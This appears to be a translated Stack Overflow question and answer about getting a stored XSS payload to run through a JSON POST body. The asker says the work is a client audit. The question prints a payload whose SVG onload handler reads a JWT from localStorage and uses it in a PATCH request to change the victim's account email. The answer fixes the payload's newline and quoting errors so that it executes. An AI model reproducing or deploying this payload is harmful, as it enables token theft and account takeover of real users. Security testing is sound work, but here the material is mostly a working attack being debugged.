首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >关于xmlhttp post json数据(Javascript)的引号在另一个json变量中发送时会给出一些错误

关于xmlhttp post json数据(Javascript)的引号在另一个json变量中发送时会给出一些错误
EN

Stack Overflow用户
提问于 2019-05-23 04:17:14
回答 1查看 266关注 0票数 0

我正在对一个web应用程序进行审计,以发现客户端的漏洞。我发现了一些xss,但我想升级到更多,但我面临的问题是数据是在json中发送的。现在,当我在它内部引入xmlhttp请求时,它需要双引号来发送其POST数据。这就是转义这些引号的问题所在。

我试着用两个反斜杠转义它,但请求失败了。但是,当我在有效负载中使用一个反斜杠发送请求时,请求成功了,但javascript执行失败了

所以基本上问题是数据是这样发送的:

POST {"x":"y","html":"javascript code"}

我的xss负载是这样的:

代码语言:javascript
运行
复制
POST 

DATA
{"x":"y","html":"<svg onload=\"var token=localStorage.getItem('murally.jwt');
alert(token);
var xhr=new XMLHttpRequest();xhr.open('PATCH','https://x.com',true);
xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');
xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body='{\"email\":\"xxx@xxx.com\"}';
xhr.send(JSON.stringify(body));
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status 
== 200) { alert(xhr.responseText) }};\"/>"}

现在,我从两个方面陷入困境:

1)当我在请求中发送与上面相同的代码时,数据存储在服务器端,但当我加载存储数据的页面时,控制台中出现错误,SyntaxError:'‘字符串文字包含未转义的换行符,因此我的有效负载无法工作并失败。

2)在互联网上搜索后,我找到了上面的解决方案,我需要对post数据的引号进行双转义,以便浏览器正确解析它,但当我再次发送带有双反斜杠的请求时,出现了另一个问题,即请求失败并出现错误{" error ":"INVALID_PAYLOAD","message":"Malformed“}

所以现在我必须以某种方式发出请求,绕过这两个错误才能正常工作,对此没有解决方案。我在开发方面不是很多,所以如果有任何帮助,我将非常感谢。我想向我的客户展示xss的高影响力,即xss如何导致帐户接管。如果有一种方法可以通过适当的转义来缓解这两个问题,请帮助我。如果您需要更多信息,请随时询问。

谢谢。

EN

回答 1

Stack Overflow用户

发布于 2019-05-24 13:30:02

你的负载中有两个问题:

  1. 对于html字段的值,不应引入换行符--这将导致“未转义换行符”错误。您可以删除所有换行符并将html字符串存储为一行紧凑文本。
  2. html JavaScript在有效负载中,它可以是纯JavaScript对象,如var body={email:'xxx@xxx.com'}; --在下一代码行中,它将通过JSON.stringify(body)转换为JSON字符串,不需要使用双引号。
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/56264374

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档